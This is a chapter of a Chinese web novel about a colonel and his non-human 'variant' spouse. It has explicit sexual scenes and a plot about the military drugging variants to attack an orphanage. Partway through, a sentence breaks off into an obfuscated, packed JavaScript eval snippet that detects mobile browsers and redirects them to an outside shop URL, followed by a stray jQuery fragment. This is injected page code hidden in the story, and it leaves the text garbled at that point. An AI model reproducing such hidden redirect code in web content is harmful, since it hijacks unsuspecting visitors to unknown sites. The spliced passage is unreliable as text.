异种从喉间喷吐出粗重的呼吸。
大手箍住林桢的后脑勺,用硬挺的鼻尖蹭了蹭林桢的鼻头:“我想亲你。”
林桢张开自己紧闭的唇缝。
异种发出兽类兴奋的呼哧声音,毫无章法地啃咬着林桢的敏感的唇肉。
刚成年的异种似乎不会和人类接吻,再这样被他啃下去,嘴可能会破。
林桢认真思索一番,捧起异种的脸,主动把柔软的舌头喂进他嘴里……
异种瞳孔猛地放大。
异种像吮吸奶嘴一样吮吸着林桢的舌头,把林桢的舌吮吸得发麻,然后无师自通顶开林桢的齿关,在林桢口腔里一寸一寸地扫舔……
已经进得那么深了,竟然还试图往食管里钻,常年一丝不苟的林上校衣衫凌乱、满面潮红,嘴巴被撑得圆圆的,痛苦又甜蜜地吞吃着这根粗大的舌……
与此同时,他被摆弄着朝两边分开。
高大威猛的异种垂下眼。
“我进不去。”
听见这句话,林桢羞耻地厉害,“你……等等……”
上校做过那么多的异种实验,怎么也没想到有一天他会和异种进行这种行为。
上校羞耻于异种炙热的目光,一只手挡住自己的脸,另一只手伸到下面,等到觉得差不多了,上校跨坐在异种的身上……
*
林桢足足请了三天假,第四天才去了研究所。
刚去就赶上开会,上面高建民在说话,林桢盯着记录本,脑海是他被猛烈颠簸的画面,他的视线移到桌面上,脑海里变成了自己小小的缝隙完全撑成了异种的粗细,林桢定了定心神,抬起头盯着屏幕,让自己认真听高建民说话,然而不到一秒钟,脑海里又出现自己是怎么不知廉耻吮住异种不松的样子,小腹开始酥麻,脸不正常地红润起来……
开会后,他跑到卫生间,颤抖地脱去裤子,拉出丝来,林桢靠在门上,挡住布满春色的脸,肩膀轻轻地抖动去擦……
等到他出去的时候,已经过了一个小时,在门口碰见一个下属,下属恭敬地和他打招呼。
“上校。”
林桢淡淡地点头。
这种疏离的样子下属也习惯了,林桢在研究所本来就是个不会和下属打成一团的领导,只是不知道为什么今天的脸那么红,跟发高烧了一样。
林桢结束一天的工作,回去的路上碰上了堵车,堵了大概两个小时,有交警过来指挥所有的车辆改道。
一时间所有的车主都开始骂骂咧咧的,林桢倒没那么暴躁,但等他打开手机,浏览新闻的时候,他让吴劲靠边停车,几乎不等停稳,林桢便打开车门下车了。
有一个异种闯进了福利院,伤了三个孩子,目前孩子一个都没出来,异种也还在里面。
这个福利院就在附近,林桢赶到时候,军方已经将福利院整个戒严了。
领头的军官还是陆泽成,他正焦头烂额,余光一瞥,在人群中看到了林桢。
陆泽成皱眉:“林桢,你怎么来了?”
“我回去要走这一条路,刚才堵车在新闻上看到这里出事了,便过来看看,目前什么情况?”
“已经被我们的人击中,受了严重的伤,估计撑不了多久,这里太危险,你还是回去吧,如果你再出事,会让我为难的。”陆泽成直白道。
“我不会向上次那样欠缺考虑了,一切听你的安排。”
“好吧。”
林桢点点头。
林桢也确实像自己说的那样,老老实实待着,一切听陆泽成的安排。
军方顶级的狙击手悄然地登上了福利院对面的一栋大楼,找到最佳视野的位置,对准藏在教室的异种,等异种进行移动后,扣动了扳机。
异种轰然倒塌,躲在教室里瑟瑟发抖的小孩们纷纷哭着跑出来。
陆泽成命令几个人安抚好这些孩子,然后他带着人冲进福利院的教室里,林桢正准备跟上,忽然在警戒线外面围观的人群中,看到一个熟悉的身影。
秦鱼?
秦鱼发现林桢看见他时,戴上帽子,很快消失在人群里。
他怎么会在这里?
林桢还有重要的事情要做,暂时没时间思考太多,他到福利院的教室时候,陆泽成正在往异种身上补枪,直到异种剧烈起伏的腹部没了动静后,陆泽成才收手。
“把尸体抬到车上去。”
林桢问:“运到研究所吗?”
陆泽成:“上面有命令,以后只要是被我们抓住的异种,不再往研究所送了。”
林桢不动声色地问:“为什么?”
“不清楚。”
陆泽成拿着手机向上级汇报工作,林桢悄悄地靠近异种,用随手携带的匕首,砍断了异种的一截触手,然后藏进口袋里。
军方的人撤退后,林桢也迅速地赶回了研究所,提取那一小截触手的血液,进行化验,在等待了半个小时后,化验结果出来了,血液成分有可使异种狂暴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906783|213042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的成分。
和徐涛吃的药物有相同的成分。
陆泽成告诉他,这个异种是个白领,就在福利院附近上班,平常虽谈不上是个好人,但也没害过人,就普普通通的一个打工族。
这样的人,还是一个有妻子和孩子的人,为什么忽然恢复原形,闯进了福利院,然后一下连伤三个孩子。
林桢看着检验结果,明白了,根本不是陆泽成说的,工作压力太大,精神状态出现了严重的问题,而是军方故意用药品操纵这种异种来伤害人类,不再把抓到的异种往研究所里送,就是怕他们从异种血液里查到他们不该知道的东西。
若非林桢对异种状态的成因有着充足研究经验,他恐怕也很难猜到军方的一些小动作。
为什么要这样做?
林桢捏了捏眉心,感到了深深的忧虑。
由于中间出了这一档子事情,林桢回去的晚了一些。
客厅里只有秦果在百无聊赖地等着他们回来,林桢想到今天在福利院门口见到秦鱼,便问了一句:“秦鱼呢?”
“不知道,他最近一直往外面跑。”
秦果和秦鱼都是异种,还是两个未成年的异种,林桢有些担心,打算多留意一下秦鱼的动向。
秦果看着林桢上楼,又等了一个小时,秦攸峙回来了,秦果接过他的外套:“主人,秦鱼最近一直往外跑,也不告诉我他去了什么地方。”
秦攸峙松了松领带,皱眉:“等他回来,让我找我。”
秦果连连点头。
异种上了楼,站在门口静静地盯着床上熟睡的妻子片刻,走上前,把妻子穿得好好的裤子和内裤给扒掉了,然后并没有觉得这样是不对的,爱不释手揉着妻子雪白的臀部……
异种喉头发紧。
林桢在异种打算把脸埋进去的时睁开了眼睛……
林桢脸腾地地烧起来。
异种因为妻子在这种时刻醒来而感到失望,他热烘烘的脑袋在妻子的脖颈拱蹭着,然后额头抵着妻子的额头:“舌头。”
自从在酒店里接过吻后,异种变得格外喜欢吃他的舌头,林桢白皙的脸上蒙上一层薄薄的红晕,他轻轻地捧起异种的脸,伸出柔软的舌,喂到他嘴里。
异种又发出那种兴奋的呼吸声,他将妻子整个舌头都含住吮吸,边吮吸边发出令人面红耳赤的响声……
把妻子亲的快晕过去,异种才啵地一声放开妻子的舌头,蹭了蹭妻子:“今晚还骑我吗?”